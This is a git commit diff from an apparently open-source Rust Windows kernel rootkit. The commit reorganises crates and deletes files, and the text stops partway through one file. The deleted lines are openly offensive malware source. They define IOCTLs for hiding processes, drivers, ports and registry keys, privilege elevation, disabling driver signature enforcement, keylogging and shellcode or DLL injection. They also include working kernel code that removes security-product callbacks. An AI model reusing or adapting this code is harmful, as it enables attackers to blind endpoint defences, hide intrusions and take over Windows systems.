Small other changes

This commit is contained in:
joaoviictorti
2025-02-25 11:43:29 -03:00
parent a5c3dcc460
commit 3a89a3f7dd
45 changed files with 289 additions and 7033 deletions

22
.gitignore vendored
View File

@@ -1,10 +1,12 @@
target
backup
client/target
driver/target
client/Cargo.lock
driver/Cargo.lock
crates/common/target
crates/shadowx/target
crates/common/Cargo.lock
crates/shadowx/Cargo.lock
.DS_Store
# Generated by Cargo
# will have compiled files and executables
debug/
target/
# These are backup files generated by rustfmt
**/*.rs.bk
# MSVC Windows builds of rustc generate these, which store debugging information
*.pdb

557
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -1,3 +1,3 @@
[workspace]
members = ["client", "crates/common", "crates/shadowx"]
members = ["client", "common", "shadowx"]
exclude = ["driver"]

View File

@@ -1,4 +0,0 @@
# Crates
- `shadowx`: Contains the main logic of the rootkit code.
- `common`: Includes only the structures used in the driver to communicate with the client.

View File

@@ -1,8 +0,0 @@
[package]
name = "common"
version = "0.1.0"
edition = "2021"
[dependencies]
ntapi = { version = "0.4.1", default-features = false }
windows-sys = { version = "0.52.0", features = ["Win32_System_Kernel"] }

View File

@@ -1,65 +0,0 @@
/// Represents different types of callbacks available in the system.
///
/// These callbacks are used to monitor or intercept specific events in the system,
/// such as process creation, thread creation, image loading, and more.
#[derive(Debug, Copy, Clone, PartialEq, Default)]
pub enum Callbacks {
/// The default callback type for process creation events.
#[default]
PsSetCreateProcessNotifyRoutine,
/// Callback for thread creation events.
PsSetCreateThreadNotifyRoutine,
/// Callback for image loading events.
PsSetLoadImageNotifyRoutine,
/// Callback for registry operations (using `CmRegisterCallbackEx`).
CmRegisterCallbackEx,
/// Callback related to process object operations (using `ObRegisterCallbacks`).
ObProcess,
/// Callback related to thread object operations (using `ObRegisterCallbacks`).
ObThread,
}
/// Defines different operational modes or options for controlling behavior.
///
/// These options represent different modes or actions that can be applied to a process
/// or thread, such as hiding it or enabling protection mechanisms.
#[derive(Debug, Default)]
pub enum Options {
/// Option to hide the process or thread.
#[default]
Hide,
/// Option to apply protection to the process or thread.
Protection,
}
/// Represents the type of protocol used in network communication (TCP/UDP).
///
/// This enum is used to distinguish between the two most common transport layer protocols:
/// Transmission Control Protocol (TCP) and User Datagram Protocol (UDP).
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Protocol {
/// Transmission Control Protocol (TCP), which is connection-oriented and reliable.
TCP,
/// User Datagram Protocol (UDP), which is connectionless and less reliable.
UDP,
}
/// Represents whether the port is local or remote in the context of network communication.
///
/// This enum is used to categorize a port based on its locality, either representing a
/// local port or a remote port, often used for networking applications.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum PortType {
/// Represents a local port on the current machine.
LOCAL,
/// Represents a remote port on a different machine.
REMOTE,
}

View File

@@ -1,61 +0,0 @@
const FILE_DEVICE_UNKNOWN: u32 = 34;
const METHOD_NEITHER: u32 = 3;
const METHOD_BUFFERED: u32 = 0;
const FILE_ANY_ACCESS: u32 = 0;
macro_rules! CTL_CODE {
($DeviceType:expr, $Function:expr, $Method:expr, $Access:expr) => {
($DeviceType << 16) | ($Access << 14) | ($Function << 2) | $Method
};
}
// Process
pub const ELEVATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const HIDE_UNHIDE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const TERMINATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const SIGNATURE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const PROTECTION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const ENUMERATION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS);
// Thread
pub const PROTECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const HIDE_UNHIDE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const ENUMERATION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS);
// Driver
pub const HIDE_UNHIDE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, METHOD_NEITHER, FILE_ANY_ACCESS);
// DSE
pub const ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS);
// Keylogger
pub const KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS);
// ETWTI
pub const ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
// PORT
pub const HIDE_PORT: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS);
// Callbacks
pub const ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x815, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS);
// Registry
pub const REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const HIDE_UNHIDE_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS);
// Module
pub const ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS);
// Injection
pub const INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x828, METHOD_NEITHER, FILE_ANY_ACCESS);

View File

@@ -1,7 +0,0 @@
#![no_std]
extern crate alloc;
pub mod ioctls;
pub mod enums;
pub mod structs;

View File

@@ -1,287 +0,0 @@
#![allow(non_camel_case_types)]
#![allow(non_snake_case)]
use core::sync::atomic::AtomicPtr;
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
use crate::enums::{
Callbacks, Options,
PortType, Protocol
};
/// Custom implementation of the `LIST_ENTRY` structure.
///
/// This struct represents a doubly linked list entry, commonly used in low-level
/// systems programming, especially in Windows kernel structures. It contains
/// forward (`Flink`) and backward (`Blink`) pointers to other entries in the list.
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct LIST_ENTRY {
/// A pointer to the next entry in the list.
pub Flink: *mut LIST_ENTRY,
/// A pointer to the previous entry in the list.
pub Blink: *mut LIST_ENTRY,
}
/// Represents the state of ETWTI (Event Tracing for Windows Thread Information).
///
/// This struct manages whether ETWTI is enabled or disabled for capturing thread
/// information. The `enable` field controls the activation of this feature.
#[repr(C)]
#[derive(Debug)]
pub struct ETWTI {
/// A boolean value indicating if ETWTI is enabled (`true`) or disabled (`false`).
pub enable: bool,
}
/// Input structure for enumeration of information.
///
/// This struct is used as input for listing various entities, based on the
/// options provided. The `options` field defines the parameters for the enumeration.
#[repr(C)]
#[derive(Debug)]
pub struct EnumerateInfoInput {
/// The options to control how the enumeration should behave, typically set by the user.
pub options: Options,
}
/// Represents the target process and path for a DLL or code injection.
///
/// This struct contains the necessary information to perform a code or DLL injection
/// into a target process. It includes the process identifier (PID) and the path
/// to the file or resource being injected.
#[repr(C)]
#[derive(Debug)]
pub struct TargetInjection {
/// The process identifier (PID) of the target process where the injection will occur.
pub pid: usize,
/// The path to the file or resource (typically a DLL) to be injected into the process.
/// This is a dynamic string (heap-allocated) that stores the full path.
pub path: alloc::string::String,
}
/// Represents information about a network or communication port.
///
/// This struct holds information about a specific port, including the protocol used,
/// the type of port, its number, and whether the port is enabled or disabled.
#[repr(C)]
#[derive(Debug, Clone, Copy, PartialEq)]
pub struct TargetPort {
/// The protocol used by the port (e.g., TCP, UDP).
/// This field is represented by the `Protocol` enum.
pub protocol: Protocol,
/// The type of port (e.g., local, remote).
/// This field is represented by the `PortType` enum.
pub port_type: PortType,
/// The port number, represented as a 16-bit unsigned integer.
/// Commonly used to identify network services (e.g., port 80 for HTTP).
pub port_number: u16,
/// A boolean value indicating whether the port is enabled (`true`) or disabled (`false`).
pub enable: bool,
}
/// Represents the target registry key and value for operations.
///
/// This struct holds information about a specific registry key and its associated value
/// for operations such as modifying or querying the registry. It includes the registry key,
/// the value associated with that key, and a flag indicating whether the operation should be
/// enabled or not.
#[repr(C)]
#[derive(Debug, Default)]
pub struct TargetRegistry {
/// The registry key, represented as a dynamically allocated string.
/// This is typically the path to a specific registry key (e.g., `HKEY_LOCAL_MACHINE\Software\...`).
pub key: alloc::string::String,
/// The value associated with the registry key, represented as a dynamically allocated string.
/// This could be a string value stored under the specified registry key.
pub value: alloc::string::String,
/// A boolean value indicating whether the operation on the registry key should be enabled (`true`)
/// or disabled (`false`).
pub enable: bool,
}
/// Represents the target thread for operations like manipulation or monitoring.
///
/// This struct contains the thread identifier (TID) and a boolean flag indicating whether
/// the thread is enabled or disabled (hidden or active).
#[repr(C)]
#[derive(Debug, Default)]
pub struct TargetThread {
/// The thread identifier (TID) of the target thread.
pub tid: usize,
/// A boolean value indicating whether the thread is enabled (`true`) or disabled/hidden (`false`).
pub enable: bool,
/// A pointer to the `LIST_ENTRY` structure, which represents the thread in the system's
/// linked list of threads. This is wrapped in an `AtomicPtr` for safe concurrent access.
pub list_entry: AtomicPtr<LIST_ENTRY>,
/// The options to control how the enumeration should behave, typically set by the user.
pub options: Options,
}
/// Stores information about a target process for operations such as termination or manipulation.
///
/// This struct contains the process identifier (PID) of the target process. It is commonly used
/// when the PID is the only information required for an operation on a process.
#[repr(C)]
#[derive(Debug, Default)]
pub struct TargetProcess {
/// The process identifier (PID) of the target process.
pub pid: usize,
/// A boolean value indicating whether the process is hidden (`true`) or visible (`false`).
pub enable: bool,
/// The signer of the process, typically indicating the authority or certificate that signed it.
pub sg: usize,
/// The type of protection applied to the process, represented as an integer.
pub tp: usize,
/// A pointer to the `LIST_ENTRY` structure, which is used to represent the process
/// in the system's linked list of processes. This is wrapped in an `AtomicPtr` for safe concurrent access.
pub list_entry: AtomicPtr<LIST_ENTRY>,
/// The options to control how the enumeration should behave, typically set by the user.
pub options: Options,
}
/// Represents information about a module in the system.
///
/// This struct is used for enumerating modules loaded in the system. It includes
/// the module's memory address, its name, and an index that can be used for
/// identification or sorting purposes.
#[repr(C)]
#[derive(Debug)]
pub struct ModuleInfo {
/// The memory address where the module is loaded.
pub address: usize,
/// The name of the module, stored as a UTF-16 encoded string with a fixed length of 256.
/// This allows compatibility with systems like Windows that use UTF-16 encoding.
pub name: [u16; 256],
/// The index of the module in the enumeration, useful for tracking or identifying the module.
pub index: u8,
}
/// Represents the target module within a specific process for operations like enumeration or manipulation.
///
/// This struct contains information about the target process and the specific module within that process.
/// It includes the process identifier (PID) and the name of the module being targeted.
#[repr(C)]
#[derive(Debug)]
pub struct TargetModule {
/// The process identifier (PID) of the process in which the target module is loaded.
pub pid: usize,
/// The name of the target module, stored as a dynamically allocated string.
pub module_name: alloc::string::String,
}
/// Callback Information for Enumeration (Output)
///
/// This struct represents the information about a callback that is used in an enumeration process.
/// It includes details like the callback's memory address, name, and operations associated with it.
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct CallbackInfoOutput {
/// The memory address where the callback is located.
pub address: usize,
/// The name of the callback, represented as a UTF-16 array of fixed length (256).
/// This is useful for systems (like Windows) that use UTF-16 strings.
pub name: [u16; 256],
/// The index of the callback in the enumeration.
pub index: u8,
/// The memory address of the pre-operation function associated with this callback.
pub pre_operation: usize,
/// The memory address of the post-operation function associated with this callback.
pub post_operation: usize,
}
impl Default for CallbackInfoOutput {
fn default() -> Self {
Self {
address: 0,
name: [0u16; 256],
index: 0,
post_operation: 0,
pre_operation: 0
}
}
}
/// Callback Information for Action (Input)
///
/// This struct is used to represent input data when performing an action on a callback.
/// It includes the callback's index and the specific callback action to be taken.
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct CallbackInfoInput {
/// The index of the callback that will be targeted by the action.
pub index: usize,
/// The specific callback action, represented by the `Callbacks` enum.
pub callback: Callbacks,
}
/// Enumerates driver information for system drivers.
///
/// This struct holds basic information about a driver, including its address, name, and an index
/// for identification. The `name` field is represented as a UTF-16 array to maintain compatibility
/// with systems that use this encoding (like Windows).
#[repr(C)]
pub struct DriverInfo {
/// The memory address where the driver is loaded.
pub address: usize,
/// The name of the driver, stored as a UTF-16 encoded string with a fixed length of 256.
pub name: [u16; 256],
/// The index of the driver in the enumeration.
pub index: u8,
}
/// Represents a structure to enable or disable Driver Signature Enforcement (DSE).
///
/// This struct is used to toggle the state of DSE, with the `enable` field indicating whether
/// DSE is currently enabled or disabled.
#[repr(C)]
#[derive(Debug)]
pub struct DSE {
/// A boolean flag to enable or disable DSE. `true` means DSE is enabled, `false` means it is disabled.
pub enable: bool,
}
/// Represents the target driver for operations like hiding or revealing it.
///
/// This struct holds information about a driver, specifically its name and a flag indicating whether
/// it should be enabled (visible) or hidden.
#[repr(C)]
#[derive(Debug, Default)]
pub struct TargetDriver {
/// The name of the target driver as a dynamic string (heap-allocated).
pub name: alloc::string::String,
/// A boolean flag that indicates whether the driver is enabled (visible) or hidden.
/// `true` means the driver is enabled, `false` means it is hidden.
pub enable: bool,
/// A pointer to the `LIST_ENTRY` structure representing the driver's list in the system.
pub list_entry: AtomicPtr<LIST_ENTRY>,
/// A pointer to the `LDR_DATA_TABLE_ENTRY` structure that represents the driver's data in the system.
pub driver_entry: AtomicPtr<LDR_DATA_TABLE_ENTRY>,
}

View File

@@ -1,31 +0,0 @@
[package]
name = "shadowx"
version = "0.1.0"
edition = "2021"
[dependencies]
wdk = "0.2.0"
wdk-sys = "0.2.0"
wdk-panic = "0.2.0"
wdk-alloc = "0.2.0"
winapi = "0.3.9"
ntapi = { version = "0.4.1", default-features = false }
spin = "0.9.8"
log = "0.4.22"
obfstr = "0.4.4"
bitfield = "0.17.0"
thiserror-no-std = "2.0.2"
common = { path = "../common" }
microseh = { version = "1.1.2", default-features = false }
[profile.dev]
panic = "abort"
[profile.release]
panic = "abort"
[package.metadata.wdk.driver-model]
driver-type = "KMDF"
kmdf-version-major = 1
target-kmdf-version-minor = 33

View File

@@ -1,11 +0,0 @@
/// Callbacks related to notifications operations
pub mod notify_routine;
pub use notify_routine::*;
/// Callbacks related to object operations
pub mod object;
pub use object::*;
/// Callbacks related to registry operations
pub mod registry;
pub use registry::*;

View File

@@ -1,248 +0,0 @@
use {
alloc::vec::Vec,
spin::{Lazy, Mutex},
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
wdk_sys::{NTSTATUS, STATUS_SUCCESS},
};
use {
common::{
enums::Callbacks,
structs::CallbackInfoOutput
},
crate::{
error::ShadowError,
utils::list_modules,
data::CallbackRestaure,
callback::find_callback::{
find_callback_address, CallbackResult
},
},
};
/// Structure that manages callbacks in the system.
///
/// The `Callback` structure provides functionality to remove, restore, and enumerate
/// system callbacks like `PsSetCreateProcessNotifyRoutine`, `PsSetCreateThreadNotifyRoutine`,
/// and `PsSetLoadImageNotifyRoutine`.
pub struct Callback;
const MAX_CALLBACK: usize = 100;
/// Stores information about removed callbacks.
///
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
pub static mut INFO_CALLBACK_RESTAURE_NOTIFY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(||
Mutex::new(Vec::with_capacity(MAX_CALLBACK))
);
impl Callback {
/// Restores a previously removed callback by its index.
///
/// # Arguments
///
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
/// * `index` - The index of the callback to restore.
///
/// # Returns
///
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
// Lock the removed callbacks to ensure thread-safe access
let mut callbacks = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
// Find the removed callback by its index
let index = callbacks
.iter()
.position(|c| c.callback == callback && c.index == index)
.ok_or(ShadowError::IndexNotFound(index))?;
// Retrieve the callback address based on the callback type
let address = match find_callback_address(&callback)? {
CallbackResult::Notify(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
// Restore the callback by writing back its address
let addr = address.offset((callbacks[index].index * 8) as isize);
*(addr as *mut u64) = callbacks[index].address;
// Remove the restored callback from the saved list
callbacks.remove(index);
Ok(STATUS_SUCCESS)
}
/// Removes a callback from a notification routine.
///
/// This function removes a callback by setting its address in the callback table to `0`
/// and stores the removed callback's information in `INFO_CALLBACK_RESTAURE_NOTIFY` for
/// future restoration.
///
/// # Arguments
///
/// * `callback` - The type of callback to remove.
/// * `index` - The index of the callback to remove.
///
/// # Returns
///
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
/// * `Err(ShadowError)` - if the callback address cannot be found.
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
// Retrieve the callback address based on the callback type
let address = match find_callback_address(&callback)? {
CallbackResult::Notify(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
// Calculate the callback address to be removed
let addr = address.offset((index as isize) * 8);
// Save the removed callback information
let callback = CallbackRestaure {
index,
callback,
address: *(addr as *mut u64),
};
let mut callback_info = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
callback_info.push(callback);
// Remove the callback by setting its address to 0
*(addr as *mut u64) = 0;
Ok(STATUS_SUCCESS)
}
}
/// Methods related to callback enumeration
impl Callback {
/// Enumerates the modules associated with callbacks and populates callback information.
///
/// This function iterates through the system's callback table and identifies the modules
/// that have registered callbacks. It stores this information in the `callback_info` structure.
///
/// # Arguments
///
/// * `callback` - The type of callback to enumerate.
///
/// # Returns
///
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of callbacks.
/// * `Err(ShadowError)` - if the callback cannot be found.
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>, ShadowError> {
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
// Get the address of the callback from the system
let address = match find_callback_address(&callback)? {
CallbackResult::Notify(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
// Iterate over loaded modules to find the module corresponding to each callback
let (mut ldr_data, module_count) = list_modules()?;
let start_entry = ldr_data;
for i in 0..64 {
let addr = address.cast::<u8>().offset(i * 8);
let callback = *(addr as *const u64);
if callback == 0 {
continue;
}
// Iterate through the loaded modules to find the one associated with the callback
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64);
// Check if the callback addresses fall within the module's memory range
if raw_pointer > start_address as u64 && raw_pointer < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: i as u8,
address: raw_pointer as usize,
name,
..Default::default()
});
break;
}
// Move to the next module
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset the module list pointer for the next callback
ldr_data = start_entry;
}
Ok(callbacks)
}
/// Enumerates all removed callbacks and provides detailed information.
///
/// # Returns
///
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of removed callbacks.
/// * `Err(ShadowError)` - if the operation fails.
pub unsafe fn enumerate_removed() -> Result<Vec<CallbackInfoOutput>, ShadowError> {
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
let callbacks_removed = INFO_CALLBACK_RESTAURE_NOTIFY.lock();
let (mut ldr_data, module_count) = list_modules()?;
let start_entry = ldr_data;
// Iterate over the removed callbacks
for (i, callback) in callbacks_removed.iter().enumerate() {
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64);
// Check if the callback addresses fall within the module's memory range
if raw_pointer > start_address as u64 && raw_pointer < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: callback.index as u8,
address: callback.address as usize,
name,
..Default::default()
});
break;
}
// Move to the next module
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset the module list pointer for the next callback
ldr_data = start_entry;
}
Ok(callbacks)
}
}

View File

@@ -1,287 +0,0 @@
use {
alloc::vec::Vec,
spin::{Lazy, Mutex},
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
wdk_sys::{NTSTATUS, STATUS_SUCCESS,}
};
use {
common::{
enums::Callbacks,
structs::CallbackInfoOutput,
},
crate::{
error::ShadowError, list_modules,
lock::with_push_lock_exclusive,
data::{CallbackRestaureOb, OBCALLBACK_ENTRY},
callback::find_callback::{find_callback_address, CallbackResult},
},
};
/// Structure representing the Callback Object.
pub struct CallbackOb;
const MAX_CALLBACK: usize = 100;
/// Stores information about removed callbacks.
///
/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex`
/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`.
static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> = Lazy::new(||
Mutex::new(Vec::with_capacity(MAX_CALLBACK))
);
/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType).
impl CallbackOb {
/// Restores a previously removed callback by its index.
///
/// # Arguments
///
/// * `callback` - The type of callback to be restored (e.g., process, thread, registry).
/// * `index` - The index of the callback to restore.
///
/// # Returns
///
/// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored.
/// * `Err(ShadowError)` - A specific error if the callback cannot be restored.
pub unsafe fn restore(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
// Lock the removed callbacks to ensure thread-safe access
let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock();
// Find the callback by its index
let index = callbacks
.iter()
.position(|c| c.callback == callback && c.index == index)
.ok_or(ShadowError::IndexNotFound(index))?;
// Retrieve the callback address based on the callback type
let full_object = match find_callback_address(&callback)? {
CallbackResult::Object(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
// Acquire exclusive access to the TypeLock associated with the callback object
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
with_push_lock_exclusive(lock, || {
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
// Traverse the list of callback entries to find the one matching the removed entry
while next != current {
if !(*next).Enabled && !next.is_null() && (*next).Entry as u64 == callbacks[index].entry {
// Re-enable the callback and remove it from the removed list
(*next).Enabled = true;
callbacks.remove(index);
return Ok(STATUS_SUCCESS);
}
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
}
Err(ShadowError::RestoringFailureCallback)
})
}
/// Removes a callback from a notification routine.
///
/// # Arguments
///
/// * `callback` - The type of callback to remove.
/// * `index` - The index of the callback to remove.
///
/// # Returns
///
/// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed.
/// * `Err(ShadowError)` - if the callback address cannot be found.
pub unsafe fn remove(callback: Callbacks, index: usize) -> Result<NTSTATUS, ShadowError> {
// Retrieve the callback address based on the callback type
let full_object = match find_callback_address(&callback)? {
CallbackResult::Object(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
// Acquire exclusive access to the TypeLock associated with the callback object
let lock = &(*full_object).TypeLock as *const _ as *mut u64;
with_push_lock_exclusive(lock, || {
let mut i = 0;
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
// Traverse the list of callback entries
while next != current {
if i == index {
if (*next).Enabled {
// Store the removed callback in the list of removed callbacks
let callback_restaure = CallbackRestaureOb {
index,
callback,
entry: (*next).Entry as u64,
pre_operation: (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64),
post_operation: (*next).PostOperation.map_or(0u64, |post_op| post_op as u64)
};
// Disable the callback
(*next).Enabled = false;
callback_info.push(callback_restaure);
}
return Ok(STATUS_SUCCESS);
}
// Move to the next entry in the callback list
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
i += 1;
}
Err(ShadowError::RemoveFailureCallback)
})
}
}
/// Methods related to callback enumeration
impl CallbackOb {
/// Enumerates the modules associated with callbacks and populates callback information.
///
/// # Arguments
///
/// * `callback` - The type of callback to enumerate.
///
/// # Returns
///
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of callbacks.
/// * `Err(ShadowError)` - if the callback cannot be found.
pub unsafe fn enumerate(callback: Callbacks) -> Result<Vec<CallbackInfoOutput>, ShadowError> {
let mut callbacks: Vec<CallbackInfoOutput> = Vec::new();
// Retrieve the callback address based on the callback type
let full_object = match find_callback_address(&callback)? {
CallbackResult::Object(addr) => addr,
_ => return Err(ShadowError::CallbackNotFound),
};
let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY;
let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
let mut list_objects = Vec::new();
// Collect the information about each callback
while next != current {
let pre_op_addr = (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64);
let post_op_addr = (*next).PostOperation.map_or(0u64, |post_op| post_op as u64);
list_objects.push(((*next).Enabled, (pre_op_addr, post_op_addr)));
next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY;
}
// Iterate over loaded modules to find the module corresponding to each callback
let (mut ldr_data, module_count) = list_modules()?;
let start_entry = ldr_data;
let mut current_index = 0;
for (i, (enabled, addrs)) in list_objects.iter().enumerate() {
if !enabled {
current_index += 1;
continue;
}
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64;
let pre_operation = addrs.0;
let post_operation = addrs.1;
// Check if the callback addresses fall within the module's memory range
if pre_operation > start_address as u64 && pre_operation < end_address ||
post_operation > start_address as u64 && post_operation < end_address
{
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: current_index,
name,
pre_operation: pre_operation as usize,
post_operation: post_operation as usize,
address: 0
});
current_index += 1;
break;
}
// Move to the next module
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset ldr_data for the next callback
ldr_data = start_entry;
}
Ok(callbacks)
}
/// Enumerates all removed callbacks and provides detailed information.
///
/// # Returns
///
/// * `Ok(Vec<CallbackInfoOutput>)` - containing the list of removed callbacks.
/// * `Err(ShadowError)` - if the operation fails.
